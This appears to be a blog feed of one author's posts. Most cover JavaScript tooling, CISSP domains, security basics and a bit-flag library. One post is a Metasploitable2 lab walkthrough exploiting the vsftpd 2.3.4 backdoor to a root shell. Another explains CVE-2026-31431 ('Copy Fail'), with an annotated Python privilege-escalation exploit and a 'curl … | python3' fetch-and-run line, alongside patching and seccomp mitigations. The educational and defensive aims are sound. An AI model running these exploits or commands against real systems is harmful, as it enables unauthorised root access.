Forem: Soumya Ranjan 🎖️

Modern JavaScript Tooling Explained: npm, npx, pnpm, Yarn & Bun

Soumya Ranjan 🎖️ — Tue, 05 May 2026 15:09:40 +0000

🧠 Introduction (Context Setting)

Modern JavaScript development is no longer just about writing code—it’s about managing an ecosystem of dependencies, tools, and workflows. At the center of this ecosystem are package managers like npm, Yarn, and pnpm, along with newer entrants like Bun.

These tools define how you:

Install libraries
Manage dependencies
Execute scripts
Optimize performance and disk usage

As the ecosystem evolved, so did the tooling:

npm established the foundation as the default package manager for Node.js
Yarn introduced better performance and deterministic installs
pnpm optimized storage and dependency isolation
Bun reimagined the stack by combining runtime, package manager, and bundler into a single tool

Amid all this, utilities like npx added another layer of abstraction—allowing developers to execute packages without installing them globally.

This rapid evolution has created a common problem:

Developers often use these tools daily without fully understanding how they differ or when to use each one.

Questions like:

Does npx always require internet?
Is pnpm better than npm?
Can Bun replace Node.js entirely?

…are symptoms of a deeper gap in conceptual clarity.

This guide aims to eliminate that confusion by building a strong mental model first, before diving into tool-specific details.

⚙️ Core Concepts (Foundation Layer)

Before comparing tools, it’s essential to understand the underlying concepts they operate on.

📦 What is a Package Manager?

A package manager is a tool that automates the process of:

Installing dependencies
Managing versions
Resolving dependency trees
Running project scripts

For example, when you run:

npm install express

The package manager:

Fetches the package from a registry
Resolves its dependencies
Installs everything into your project

In simple terms:

A package manager is your project’s dependency control system.

⚡ What is a Runtime?

A runtime is the environment where your code actually executes.

For JavaScript outside the browser, this is typically Node.js.

It is responsible for:

Executing JavaScript code
Providing system-level APIs (file system, network, etc.)

Newer tools like Bun go a step further by combining:

Runtime
Package manager
Bundler
Test runner

This reduces the need for multiple tools in a project.

🔄 Install vs Execute

This distinction is critical and often misunderstood.

Install (npm, pnpm, yarn)

npm install lodash

Downloads and stores the package
Adds it to your project dependencies
Makes it available for repeated use

Execute (npx)

npx create-react-app myapp

Runs a package without permanently installing it
May download it temporarily if not available locally

👉 Key idea:

Install = persist dependency
Execute = use it once (or on demand)

📁 Local vs Global vs Cached

Understanding where packages live helps explain tool behavior.

Local Installation

npm install lodash

Stored inside node_modules of your project
Used only within that project

Global Installation

npm install -g typescript

Installed system-wide
Accessible from anywhere

Cached Execution (npx behavior)

When you run:

npx some-package

The system follows this sequence:

Check local project → use if available
Check global/cache → use if available
Otherwise → download temporarily

👉 This explains why:

First run may require internet
Subsequent runs may not

🧠 Mental Model Summary

Package managers manage dependencies
Runtimes execute code
npx-like tools bridge execution without installation
Storage strategy (local/global/cache) impacts performance and behavior

If this foundation is clear, the differences between npm, pnpm, Yarn, and Bun become much easier to reason about—which is exactly what we’ll explore next.

📦 Tool-by-Tool Deep Dive

Now that the foundation is clear, we’ll analyze each tool individually—focusing on architecture, behavior, trade-offs, and real-world usage.

4.1 npm

npm

🔍 Overview

npm is the default package manager bundled with Node.js. It is the most widely used tool in the JavaScript ecosystem and serves as the baseline for comparison.

⚙️ How It Works (Architecture)

Installs packages into a local node_modules directory
Uses a flat dependency tree (since npm v3+)
Maintains a package-lock.json for deterministic installs

🧪 Example

npm install express
npm run dev

✅ Strengths

Ubiquitous and well-supported
No setup required (comes with Node.js)
Massive ecosystem compatibility

❌ Limitations

Disk-heavy due to duplicated dependencies
Historically slower installs (improved in newer versions)
Dependency resolution can become complex in large projects

🎯 When to Use

Small to medium projects
Maximum compatibility required
Teams that prefer zero additional tooling overhead

4.2 npx

npx

🔍 Overview

npx is not a package manager—it is a package executor designed to run Node-based tools without requiring global installation.

⚙️ Execution Model

When you run:

npx create-react-app myapp

It follows this sequence:

Check local node_modules
Check cached/global versions
Download temporarily if needed
Execute

🧠 Key Insight

npx optimizes tool usage, not dependency management.

✅ Strengths

No need for global installs
Always access latest version (if not cached)
Cleaner system environment

❌ Limitations

May require internet on first run
Slight startup overhead compared to locally installed binaries

🎯 When to Use

Running CLI tools (e.g., scaffolding apps)
One-time commands
Avoiding version conflicts globally

⚠️ Common Misunderstanding

“npx always runs the latest version”

Not strictly true—it runs:

Local → Cached → Latest (fallback)

4.3 pnpm

pnpm

🔍 Overview

pnpm is a performance-focused package manager designed to solve npm’s inefficiencies in disk usage and install speed.

⚙️ How It Works (Unique Architecture)

Instead of copying dependencies into every project:

Uses a global content-addressable store
Creates hard links/symlinks into projects
Avoids duplication entirely

🧪 Example

pnpm install
pnpm add axios

🚀 Key Advantages

⚡ Extremely fast installs
💾 Minimal disk usage
🔒 Strict dependency isolation (prevents “ghost dependencies”)

❌ Trade-offs

Slight learning curve
Some older tools may assume npm-style structure

🎯 When to Use

Large-scale applications
Monorepos (Nx, Turborepo, etc.)
Performance-critical environments

🧠 Why It Matters

pnpm enforces correct dependency boundaries, which reduces bugs caused by accidental access to undeclared packages.

4.4 Yarn

Yarn

🔍 Overview

Developed by Facebook, Yarn was created to address npm’s early performance and reliability issues.

🧵 Versions Matter

Yarn Classic (v1)

Similar to npm
Uses node_modules

Yarn Berry (v2+)

Introduces Plug’n’Play (PnP)
Eliminates node_modules entirely

⚙️ Example

yarn add react
yarn dev

🚀 Features

Deterministic installs via yarn.lock
Workspaces support (monorepos)
Plug’n’Play (advanced dependency resolution)

❌ Trade-offs

PnP can break tools expecting node_modules
Slightly fragmented ecosystem (v1 vs v2+)

🎯 When to Use

Enterprise-grade applications
Teams needing strict dependency control
Monorepos with complex setups

🧠 Position Today

While npm has caught up in performance, Yarn remains relevant for:

Advanced workflows
Plug’n’Play architecture

4.5 Bun

Bun

🔍 Overview

Bun is not just a package manager—it is a full JavaScript runtime and toolkit designed to replace multiple tools in the stack.

⚙️ What Makes It Different

Bun combines:

Runtime (like Node.js)
Package manager
Bundler
Test runner

All in a single toolchain.

🧪 Example

bun install
bun run dev
bun create vite

⚡ Performance Edge

Written in Zig
Extremely fast startup times
Optimized dependency installation

🚀 Advantages

Minimal toolchain complexity
High performance
Built-in modern features

❌ Limitations

Still evolving ecosystem
Some Node.js APIs may not be fully supported
Compatibility edge cases

🎯 When to Use

New projects
Performance-critical applications
Developers willing to adopt cutting-edge tools

🧠 Strategic Insight

Bun is not just competing with npm—it’s competing with the entire Node.js tooling ecosystem.

🔚 Transition to Next Section

Now that each tool is clearly understood in isolation, the next step is to compare them directly across performance, architecture, and real-world usability—so you can make informed decisions rather than relying on trends or assumptions.

⚔️ Comparative Analysis (Quick Decision Table)

Feature	npm	pnpm	Yarn	Bun	npx
Category	Package Manager	Package Manager	Package Manager	Runtime + Package Manager	Package Executor
Primary Use	Install & manage deps	Fast + efficient installs	Deterministic installs	All-in-one JS toolchain	Run packages
Speed	Medium	⚡ Very Fast	Fast	🚀 Extremely Fast	Depends (startup overhead)
Disk Usage	High (duplicates)	Low (shared store)	Medium	Low	Minimal
node_modules	Yes	Yes (optimized)	Yes / ❌ (PnP mode)	❌ (internal handling)	Not applicable
Lockfile	`package-lock.json`	`pnpm-lock.yaml`	`yarn.lock`	`bun.lockb`	None
Offline Support	Limited	Strong	Strong	Moderate	Cached only
Monorepo Support	Basic	Excellent	Excellent	Good	Not applicable
Dependency Strictness	Medium	Strict	Strict (PnP)	Medium	Not applicable
Runtime Included	❌	❌	❌	✅	❌
Ecosystem Compatibility	⭐⭐⭐⭐⭐	⭐⭐⭐⭐	⭐⭐⭐⭐	⭐⭐⭐	⭐⭐⭐⭐⭐
Learning Curve	Low	Medium	Medium	Medium	Low

Metasploitable2 - FTP Exploitation using vsftpd 2.3.4 Backdoor

Soumya Ranjan 🎖️ — Tue, 05 May 2026 15:08:25 +0000

Metasploitable2 - FTP Exploitation using vsftpd 2.3.4 Backdoor

1. Objective

To identify and exploit a known vulnerability in an FTP service running on a vulnerable target machine using industry-standard reconnaissance and exploitation techniques.

2. Lab Environment

Component	Description
Attacker Machine	Kali Linux
Target Machine	Metasploitable2
Network Type	Host-only / NAT (same subnet)

3. Tools & Technologies Used

#Nmap – Network discovery and service enumeration
#Netcat – Banner grabbing and manual interaction
#Metasploit Framework – Exploitation
#Exploit_Database – Exploit reference

4. Methodology

Step 1: Identify Attacker Machine IP

ip a

Extract the IP address of the Kali machine (e.g., 192.168.1.159)

Step 2: Network Discovery

nmap -sn 192.168.1.0/24

Performs a ping scan to identify active hosts
Target identified: 192.168.1.160 → Metasploitable2

Step 3: Service Enumeration

nmap -sV 192.168.1.160

![[Pasted image 20260418144903.png]]

Detects running services and versions
Key finding: FTP → vsftpd 2.3.4

Step 4: Targeted Port Scan (FTP)

nmap -p 21 -sV 192.168.1.160

Confirms FTP service version

Step 5: #Banner_Grabbing (Manual Verification)

Using Netcat:

nc 192.168.1.160 21
![[Pasted image 20260418154605.png]]

Confirms: vsftpd 2.3.4

5. Vulnerability Identification

Software: vsftpd 2.3.4
Issue: Backdoor intentionally inserted in this version
Exploit Source: Exploit DB
Public exploit available:
- Backdoor triggered via malicious username input

6. Exploitation using Metasploit

Step 1: Launch Framework

msfconsole

Step 2: Search for Exploit

search vsftpd

Relevant module: exploit/unix/ftp/vsftpd_234_backdoor ### Step 3: Load Exploit

use exploit/unix/ftp/vsftpd_234_backdoor

Step 4: Configure Target

set RHOST 192.168.1.160

Step 5: Configure listener

Shell set LHOST <Your IP>

![[Pasted image 20260418152458.png]]

Step 5: Execute Exploit

run

Result

Remote shell access obtained
Privilege level: root

7. Manual Exploitation (Without Metasploit)

Step 1: Connect to FTP

ftp 192.168.1.160

Step 2: Trigger Backdoor

Username: test:)
Password: anything

Step 3: Connect to Backdoor Shell

nc 192.168.1.160 6200

Result

Direct root shell access established ## 8. Technical Explanation of the Vulnerability

The backdoor in vsftpd 2.3.4 operates as follows:

If the username contains :)
The service triggers a hidden function
Opens TCP port 6200
Provides unauthenticated root shell access

Attack Flow

Attacker → FTP Login (malicious username) → Backdoor Triggered → Port 6200 Opened → Root Shell Access

9. Impact Analysis

Factor	Impact
Confidentiality	Fully compromised
Integrity	Fully compromised
Availability	Potentially disrupted
Access Level	Root

Classified as Critical (CVSS ~10.0)

10. Mitigation & Remediation

Upgrade FTP service to a secure version
Avoid using outdated software
Implement network segmentation
Use IDS/IPS to detect abnormal behavior
Disable unnecessary services

Copy Fail (CVE-2026-31431)

Soumya Ranjan 🎖️ — Tue, 05 May 2026 15:04:33 +0000

A critical kernel privilege escalation that leaves no trace on disk — and how it works

It started with a blog post. On April 29, 2026, Theori's research platform Xint Code quietly dropped a URL: copy.fail. Within hours, security teams across the industry were scrambling. A 732-byte Python script — shorter than most .gitignore files — was rooting every major Linux distribution in existence.

No race conditions. No kernel symbols. No ASLR bypass. Just a logic bug hiding in the Linux kernel since 2017, waiting to be found.

TL;DR for the Busy Reader

CVE-2026-31431, nicknamed Copy Fail, is a local privilege escalation (LPE) in the Linux kernel's AF_ALG crypto subsystem. An unprivileged user can:

Open a crypto socket (zero privileges required)
Splice pages from /usr/bin/su into it
Trigger a 4-byte write into the in-memory page cache of that binary
Run su — now running attacker shellcode — and get a root shell The file on disk is never touched. No checksums fail. No integrity monitors fire. The exploit is fully deterministic and works across kernels 4.14 through 7.x.

Background: What Is AF_ALG?

Linux exposes its kernel crypto engine to userspace through a socket interface called AF_ALG (Address Family - Algorithm), introduced in 2015. Think of it as /dev/crypto but via standard socket syscalls. Any unprivileged process can:

int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, (struct sockaddr *)&addr, sizeof(addr));
// ... perform AES, HMAC, AEAD operations in kernel space

This is used by OpenSSL's afalg engine, among others, for hardware-accelerated crypto. It's enabled by default in virtually every Linux distribution.

The algif_aead module specifically handles AEAD (Authenticated Encryption with Associated Data) — algorithms like AES-GCM that encrypt and authenticate data simultaneously.

The Bug: Three Things That Should Never Have Met

Copy Fail is the result of three independent design decisions colliding catastrophically.

1. The `authencesn` Scratch Write

authencesn is an AEAD algorithm used for IPsec with Extended Sequence Numbers. During decryption, it performs a deliberate 4-byte write past the end of the plaintext output as scratch space:

// In crypto_authenc_esn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                      ^^^^^^^^^^^^^^^^^^^
//                                      This is AFTER the output buffer ends

In normal use, this is harmless — the overrun lands in allocated memory. But combine it with the next two factors...

2. The 2017 "In-Place" Optimization

In 2017, commit 72548b093ee3 introduced an optimization to algif_aead: instead of copying data out-of-place, the kernel reuses the source scatterlist as the destination:

// Simplified from algif_aead.c (pre-fix):
sg_chain(&out_sg, tfr_sg);  // chain tag pages INTO output scatterlist
req->src = req->dst;        // source = destination (in-place!)

This saved a memory copy. It also accidentally made "writable" a set of pages that should have been read-only.

3. `splice()` Delivering Page Cache Pages

When you splice() a file into an AF_ALG socket, the kernel doesn't copy the data. It hands over direct references to the file's page cache. Those exact pages end up in the AEAD scatterlist.

Put it together:

splice(/usr/bin/su) → AF_ALG socket
→ page cache pages enter AEAD scatterlist
→ in-place optimization chains them into the "writable" output list
→ authencesn writes 4 bytes past the output boundary
→ those 4 bytes land in /usr/bin/su's in-memory page cache

A 4-byte arbitrary write into the page cache of any readable file. That's the primitive.

The Exploit

The public PoC is a single Python script hosted at the disclosure site. The one-liner that's been circulating:

curl https://copy.fail/exp | python3

Here's what it does under the hood (simplified and annotated):

import os, zlib, socket

def write_4_bytes(file_fd, offset, payload_chunk):
    # Step 1: Open AF_ALG socket bound to the vulnerable algorithm
    sock = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    # Step 2: Configure with a dummy key — no privileges needed
    SOL_ALG = 279
    sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64))
    sock.setsockopt(SOL_ALG, 5, None, 4)
    req_sock, _ = sock.accept()

    # Step 3: Send AAD containing our 4-byte payload
    # authencesn will later write bytes 4-7 of AAD as its "scratch"
    req_sock.sendmsg(
        [b"A"*4 + payload_chunk],  # AAD: 4 filler bytes + our payload
        [(SOL_ALG, 3, b'\x00'*4),
         (SOL_ALG, 2, b'\x10' + b'\x00'*19),
         (SOL_ALG, 4, b'\x08' + b'\x00'*3)],
        32768
    )

    # Step 4: Splice target file's page cache into the socket
    pipe_r, pipe_w = os.pipe()
    os.splice(file_fd, pipe_w, offset + 4, offset_src=0)  # file → pipe
    os.splice(pipe_r, req_sock.fileno(), offset + 4)       # pipe → AF_ALG

    # Step 5: Trigger the decrypt — error is expected, write already happened
    try:
        req_sock.recv(8 + offset)
    except:
        pass  # HMAC will fail, that's fine — the write already occurred

    req_sock.close()


# Open the target setuid binary
target = os.open("/usr/bin/su", 0)

# Decompress shellcode and write it 4 bytes at a time into the page cache
shellcode = zlib.decompress(bytes.fromhex(
    "78da..."  # compressed shellcode blob
))

for i in range(0, len(shellcode), 4):
    write_4_bytes(target, i, shellcode[i:i+4])

# Execute the now-corrupted binary — it runs our shellcode as root
os.system("su")

The loop runs a handful of times, each call writing 4 bytes of shellcode into /usr/bin/su's page cache at increasing offsets. When su is finally executed, the kernel loads it from the (now corrupted) page cache — running attacker shellcode with setuid root privileges.

The HMAC always fails. The recv() always returns an error. The exploit looks like a broken crypto operation. The write has already happened.

Why This Is a Nightmare for Detection

This is where Copy Fail separates itself from predecessors like Dirty COW and Dirty Pipe.

Nothing changes on disk

The page cache is the kernel's in-memory representation of files. When it's modified, the on-disk file is not. The kernel would need to mark the page dirty and flush it to disk for that to happen — and it never does here.

/usr/bin/su on disk:     [original, unmodified]
/usr/bin/su in memory:   [shellcode injected here]  ← this is what execve() uses

Tools like AIDE, Tripwire, or any checksum-based file integrity monitor will report zero anomalies.

Syscalls look normal

The exploit uses only standard interfaces:

socket() — everyone uses sockets
sendmsg() — normal socket operation
splice() — common in high-performance I/O
recv() — returns an error, but errors happen There are no unusual privilege escalation calls, no /proc/*/mem writes, no ptrace, no /dev/mem access. Standard audit logs won't surface anything suspicious.

No persistence needed

The corruption exists only in memory. After a reboot, /usr/bin/su is clean again. An attacker who successfully escalates can then establish persistence through legitimate root-level mechanisms. Forensics after the fact finds nothing in the binary.

Affected Systems

If your kernel is between 4.14 and 7.x (including current LTS branches) and hasn't received the April/May 2026 patches, you're vulnerable. That covers:

Ubuntu 18.04 LTS through 24.04
Red Hat Enterprise Linux 7, 8, 9
Debian Buster, Bullseye, Bookworm
SUSE Linux Enterprise 15
Amazon Linux 2 and 2023
Fedora 38, 39, 40
Pretty much everything else The one saving grace: the attacker needs local access first. This isn't remotely exploitable on its own. However, in environments with multi-tenant systems, shared CI/CD runners, or Kubernetes clusters, "local" is a low bar.

Cross-Container Escape

The page cache is shared across the entire host kernel. A container doesn't get its own page cache — it shares the host's. This means a malicious container with access to AF_ALG can corrupt the host's page cache of a setuid binary.

If the host has /usr/bin/su mapped and a container can reach AF_ALG (the default in many Kubernetes setups), the container can escape to root on the host. This elevates Copy Fail from a local LPE to a container escape in multi-tenant environments.

How It Was Found: AI Did It in an Hour

Perhaps the most unsettling part of the Copy Fail story isn't the bug itself — it's that an AI found it.

Theori's Xint Code platform scanned the Linux crypto subsystem for user-reachable logic flaws. In approximately one hour, it identified the exact chain: authencesn + splice() + in-place AEAD = page cache corruption. The flaw had existed, undetected, for nine years.

This has serious implications. The attack surface of the Linux kernel is enormous. AI-assisted analysis can now traverse it at scale, modeling data flows through kernel subsystems that would take human researchers weeks to manually trace. Copy Fail is likely not the last bug of this class to be found this way.

The Fix

The patch is elegant in its simplicity. The upstream fix (commit a664bf3d603d) reverts the 2017 in-place optimization:

--- a/crypto/algif_aead.c
+++ b/crypto/algif_aead.c
-    sg_chain(&out_sg, tfr_sg);   // chain tag pages into output list
-    req->src = req->dst;         // source = destination (in-place)
+    // Operate out-of-place — page cache pages stay in the source list only

As the GitHub Advisory puts it: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings." The optimization saved a copy but introduced a 9-year-old footgun.

What You Should Do Right Now

1. Patch immediately

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo dnf update kernel
sudo reboot

# Check your kernel version after reboot
uname -r

Verify your distro's security advisory for the specific patched kernel version.

2. Disable `algif_aead` as a stopgap

If you can't reboot immediately:

# Block the module from loading
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf

# Unload it if currently loaded
sudo rmmod algif_aead 2>/dev/null || true

Impact is minimal — almost no production software uses AF_ALG AEAD directly. SSH, LUKS, and OpenSSL use the kernel crypto API directly, not through AF_ALG.

3. Block AF_ALG in containers

For Kubernetes and Docker environments, add a seccomp profile that blocks socket(AF_ALG, ...). This is your most important short-term mitigation if you run multi-tenant workloads.

{
  "syscalls": [{
    "names": ["socket"],
    "action": "SCMP_ACT_ALLOW",
    "args": [{
      "index": 0,
      "value": 38,
      "op": "SCMP_CMP_NE"
    }]
  }]
}

(Block socket() calls where the first argument is 38 / AF_ALG.)

4. Add runtime detection

Falco and other eBPF-based runtime security tools have published rules to detect AF_ALG + splice combinations that match the Copy Fail pattern. Deploy them now, even on patched systems, as a defense-in-depth measure.

Comparison to Dirty COW and Dirty Pipe

	Dirty COW (2016)	Dirty Pipe (2022)	Copy Fail (2026)
CVE	CVE-2016-5195	CVE-2022-0847	CVE-2026-31431
Race condition?	Yes	No	No
Exploit size	4,000+ bytes	~1,000 bytes	732 bytes
Kernel range	2.6.22–3.9+	5.8–5.16	4.14–7.x
Container escape?	No	Limited	Yes
On-disk artifacts?	Yes (writes to disk)	Yes (writes to disk)	No
Detection difficulty	Moderate	Moderate	Very hard
Discovery method	Human research	Human research	AI-assisted (1 hour)

Copy Fail is the most operationally dangerous of the three. No race to win, no offsets to calculate, no distribution-specific assumptions. It just works.

Final Thoughts

Copy Fail is a reminder that the Linux kernel is an enormous, complex codebase where subtle interactions between subsystems can hide for nearly a decade. A 2017 optimization that made perfect sense in isolation — reuse the scatterlist, save a copy — quietly became a critical security flaw when combined with a niche AEAD algorithm and a zero-copy syscall.

The fact that an AI found it in an hour is both impressive and sobering. If AI can find this, it can find others. The attack surface scanning that used to take months of expert human analysis is becoming automated.

Patch your kernels. Disable algif_aead if you can't. And assume there are more of these waiting.

CVE-2026-31431 was responsibly disclosed by Theori's Xint Code platform on April 29, 2026. Patches are available for all major Linux distributions as of May 2026. The vulnerability affects Linux kernels from 4.14 onward. Apply updates immediately.

The 8 CISSP Security Domains You Probably Don’t Think About — But Should

Soumya Ranjan 🎖️ — Mon, 13 Apr 2026 16:58:33 +0000

When people hear “cybersecurity,” they usually think of firewalls, hackers, or antivirus software. What they don’t realize is that security is much bigger than tools. That’s why CISSP breaks security into eight domains — each one representing a real area where things can go wrong if ignored.

Below is a practical walkthrough of all eight domains, explained with real situations and what role a security professional actually plays.

1. Security and Risk Management

This domain is about understanding what needs protection, why it matters, and what level of risk is acceptable. It covers policies, laws, compliance, ethics, and decision-making at an organizational level.

Imagine a company planning to outsource part of its operations to a third-party vendor. The vendor asks for access to internal systems. At this point, security is not about blocking everything — it’s about assessing risk. What data will the vendor access? What happens if it’s leaked? What controls should be applied?

The security professional’s role here is to identify risks, recommend controls, ensure compliance with laws and regulations, and help leadership make informed decisions. This domain sets the foundation for every other security action.

2. Asset Security

Asset security focuses on what data exists, where it lives, who owns it, and how it should be protected. Not all data is equal, and treating everything the same creates both security gaps and operational problems.

Consider an organization that stores customer emails, payment information, and public marketing content. If a developer copies all of it into a shared drive without restrictions, that’s a problem. Sensitive data must be classified, protected, and handled differently from public data.

In this domain, security teams define data classification levels, control how data is stored and transferred, and ensure sensitive information is encrypted, restricted, and properly disposed of when no longer needed.

3. Security Architecture and Engineering

This domain deals with designing systems that are secure by default, not patched later. It covers encryption, operating systems, hardware security, and secure design principles.

For example, when a new application is being built, decisions like where encryption is applied, how secrets are stored, and how services communicate matter a lot. A weak design can make even the best monitoring useless.

Security professionals in this area review system designs, perform threat modeling, recommend secure architectures, and ensure that security is built into systems from the start — not added after a breach.

4. Communication and Network Security

This domain focuses on how data moves — across networks, between systems, and over the internet. It includes network segmentation, secure protocols, firewalls, VPNs, and intrusion detection.

Imagine an attacker gains access to one machine in a company network. If the network is flat, the attacker can move freely. If it’s segmented and monitored, the damage is limited and detectable.

Here, security teams design secure network architectures, monitor traffic, detect suspicious activity, and respond to network-based attacks. This domain is critical for limiting blast radius during incidents.

5. Identity and Access Management (IAM)

IAM is about who gets access to what, when, and how. It covers authentication, authorization, identity lifecycle, privileged access, and multi-factor authentication.

A common real-world scenario: an employee leaves the company, but their account is not disabled. Weeks later, that account is used to access internal systems. That’s an IAM failure.

Security professionals manage user access, enforce least privilege, implement MFA, and ensure accounts are created, modified, and removed properly. Many breaches happen not because of advanced hacking, but because access wasn’t controlled correctly.

6. Security Assessment and Testing

This domain ensures that security controls actually work. It includes vulnerability scanning, penetration testing, audits, and continuous testing.

For example, a vulnerability scan might reveal an exposed admin interface. A penetration test might show how that exposure can be exploited. Without testing, organizations often assume they’re secure when they’re not.

The security role here is to test systems, validate findings, prioritize fixes, and confirm that vulnerabilities are properly resolved. This domain turns assumptions into evidence.

7. Security Operations

Security operations is where the real action happens day to day. It covers monitoring, logging, incident response, forensics, disaster recovery, and business continuity.

Imagine an alert shows unusual outbound traffic from a server. The priority is not to write reports — it’s to contain the threat, stop data loss, investigate what happened, and recover safely.

Security professionals in this domain follow incident response plans, analyze logs, coordinate response efforts, and ensure systems can recover after incidents. This domain separates theory from real-world pressure.

8. Software Development Security

This domain ensures that applications are built securely, not just protected after deployment. It covers secure coding, code reviews, dependency management, and security in CI/CD pipelines.

A simple coding mistake like improper input validation can lead to SQL injection or data leaks. If security is part of development, these issues are caught early. If not, they reach production.

Here, security professionals work closely with developers to integrate security into the development process, run automated tests, review risky code changes, and promote secure coding practices.

Conclusion

The eight CISSP domains are not just exam topics — they represent how security works in the real world. Every breach, incident, or failure usually touches more than one domain.

Strong security comes from understanding all eight areas and knowing how they connect. Whether you’re a SOC analyst, engineer, or security leader, these domains help you think clearly, act responsibly, and protect what truly matters: data, systems, and people.

Foundation of Cybersecurity

Soumya Ranjan 🎖️ — Thu, 22 Jan 2026 17:53:28 +0000

the 1st question. What is cybersecurity ?

Lets understand it by an example.

Imagine you have received a alert that a storm is coming. So you prepared by gathering tools, necessary material, food and water. You looked for the valuable items. Locked the doors and windows. the storm hits and there are powerful winds and rain.

The storm uses its power to breach into your house. you noticed that there are some leaks. You stood up and started the patching. You saw some water dripping from the roof to the floor. You put a bucket to prevent the damage for the floor.

Preventing and handling cyber attack is no difference. Organization must keep tools, rules, and prepare themselves to prevent and mitigate these type of attack or threats.

Definition: Cybersecurity is the practice of protecting information by ensuring its confidentiality, integrity, availability safeguarding peoples, network, and devices, from unauthorized access and exploitation.

What is Threat ?

Threat is a action done by threat actors to disrupt the operation, damage of asset, and information. There are mainly 2 type of threats. Internal threat and External threat.

internal threat arises inside the organization. This may be a person who works in the organization.

What is a Threat Actor ?

Threat actor is a person or group of person who intentionally harms the organization.

The 8 CISSP Security Domains You Probably Don’t Think About — But Should

Soumya Ranjan 🎖️ — Wed, 21 Jan 2026 16:39:20 +0000

Below is a practical walkthrough of all eight domains, explained with real situations and what role a security professional actually plays.

1. Security and Risk Management
This domain is about understanding what needs protection, why it matters, and what level of risk is acceptable. It covers policies, laws, compliance, ethics, and decision-making at an organizational level.

Asset Security

Security Architecture and Engineering

This domain deals with designing systems that are secure by default, not patched later. It covers encryption, operating systems, hardware security, and secure design principles.

Communication and Network Security

This domain focuses on how data moves — across networks, between systems, and over the internet. It includes network segmentation, secure protocols, firewalls, VPNs, and intrusion detection.

Imagine an attacker gains access to one machine in a company network. If the network is flat, the attacker can move freely. If it’s segmented and monitored, the damage is limited and detectable.

Identity and Access Management (IAM)

IAM is about who gets access to what, when, and how. It covers authentication, authorization, identity lifecycle, privileged access, and multi-factor authentication.

A common real-world scenario: an employee leaves the company, but their account is not disabled. Weeks later, that account is used to access internal systems. That’s an IAM failure.

Security Assessment and Testing

This domain ensures that security controls actually work. It includes vulnerability scanning, penetration testing, audits, and continuous testing.

The security role here is to test systems, validate findings, prioritize fixes, and confirm that vulnerabilities are properly resolved. This domain turns assumptions into evidence.

Security Operations

Security operations is where the real action happens day to day. It covers monitoring, logging, incident response, forensics, disaster recovery, and business continuity.

Imagine an alert shows unusual outbound traffic from a server. The priority is not to write reports — it’s to contain the threat, stop data loss, investigate what happened, and recover safely.

Software Development Security

This domain ensures that applications are built securely, not just protected after deployment. It covers secure coding, code reviews, dependency management, and security in CI/CD pipelines.

A simple coding mistake like improper input validation can lead to SQL injection or data leaks. If security is part of development, these issues are caught early. If not, they reach production.

Here, security professionals work closely with developers to integrate security into the development process, run automated tests, review risky code changes, and promote secure coding practices.

Conclusion

The eight CISSP domains are not just exam topics — they represent how security works in the real world. Every breach, incident, or failure usually touches more than one domain.

A Boolean Is a Bit — So Why Does It Take a Byte?

Soumya Ranjan 🎖️ — Tue, 13 Jan 2026 17:45:35 +0000

Introduction

In computer science theory, a boolean is the simplest data type: it’s either a 0 or a 1. It represents a single bit of information.

But in practice, if you declare a boolean variable in almost any high-level programming language—JavaScript, Python, Java—it takes up at least one full byte (8 bits) of memory. Often, due to object overhead and memory alignment, it takes up even more.

This is a small inefficiency that we usually ignore. Memory is cheap, right? But this discrepancy—between what a boolean is and how it’s stored—bugged me. It’s a paradox of modern abstraction: to make things easy to use, we waste 87.5% of the space.

This small curiosity led me to build ByteFlags.

The Real Problem

Why does this matter? For a simple "ToDo" app, it doesn't.

But consider a system where state is everywhere.

Feature Flags: A user might have isBetaTester, hasDarkTheme, emailVerified, notificationsEnabled, marketingOptIn, etc.
Game Development: An entity has states like isJumping, isGrounded, isInvincible, isDead.
Permissions: canRead, canWrite, canDelete, canExecute.

If you store these as separate boolean properties on an object, you are scattering these bits across bytes of memory. If you have millions of users or thousands of entities, that wasted space adds up. More importantly, managing unrelated booleans as loose variables can lead to messy code. You end up passing around long lists of arguments or having massive configuration objects.

I wanted a way to group these related flags into a single, compact unit.

Theory vs. Reality

So why do languages do this? Why isn't a boolean just a bit?

The reality is that computer memory is byte-addressable. The CPU likes to fetch data in chunks—bytes, words (4 bytes), or double words (8 bytes). It doesn't have a direct address for "Bit #3 of Byte #1000".

To read a distinct bit, the computer has to:

Fetch the whole byte.
Filter out the other bits (masking).
Check the result.

This is faster to do if the boolean just claims the whole byte for itself. The language designers made a trade-off: waste memory to save CPU cycles and simplify syntax.

As engineers, we accept this trade-off most of the time. But sometimes, checking that assumption is where the learning happens.

The Idea Behind ByteFlag

I decided to implement the "theory" manually. I wanted to pack up to 8 boolean flags into a single number (one byte, 0-255).

The concept is simple:

Bit 0 represents Flag A
Bit 1 represents Flag B
...and so on, up to Bit 7.

If I want flags A and C to be "on", I set the 0th and 2nd bits to 1.
0000 0101 in binary is 5 in decimal.

So instead of storing { A: true, B: false, C: true }, I just store the number 5.

To make this work, I needed bitwise operations:

OR (|) to enable a flag.
AND (&) to check a flag.
XOR (^) to toggle a flag.
NOT (~) to disable a flag.

Implementation Overview

While bitwise math is efficient, it’s not readable. No one wants to see if (user.flags & 4) in production code. You forget what 4 means immediately.

My goal with ByteFlags was to hide the math behind a clean, human-readable API, while keeping the storage compact.

I built it in TypeScript to ensure type safety. Here is the high-level design:

Mapping: The user provides a map of names to bit positions.

const flags = new ByteFlags({ User: 0, Admin: 1 });

High-Level API: I exposed intuitive methods so you never have to touch a bitwise operator:

State Management:
* enable('Admin') – Sets the bit to 1.
* disable('Admin') – Sets the bit to 0.
* toggle('Admin') – Flips the bit.
* reset() – Clears all flags instantly.

Querying:
* isEnabled('User') – Returns true or false.

Serialization (The "Magic" Part):
One of the biggest pain points with bits is debugging. I added methods to make the byte human-readable:
* toJSON() – Returns { User: true, Admin: false }.
* toBinaryString() – Returns "00000001".
* toHex() – Returns "0x01".

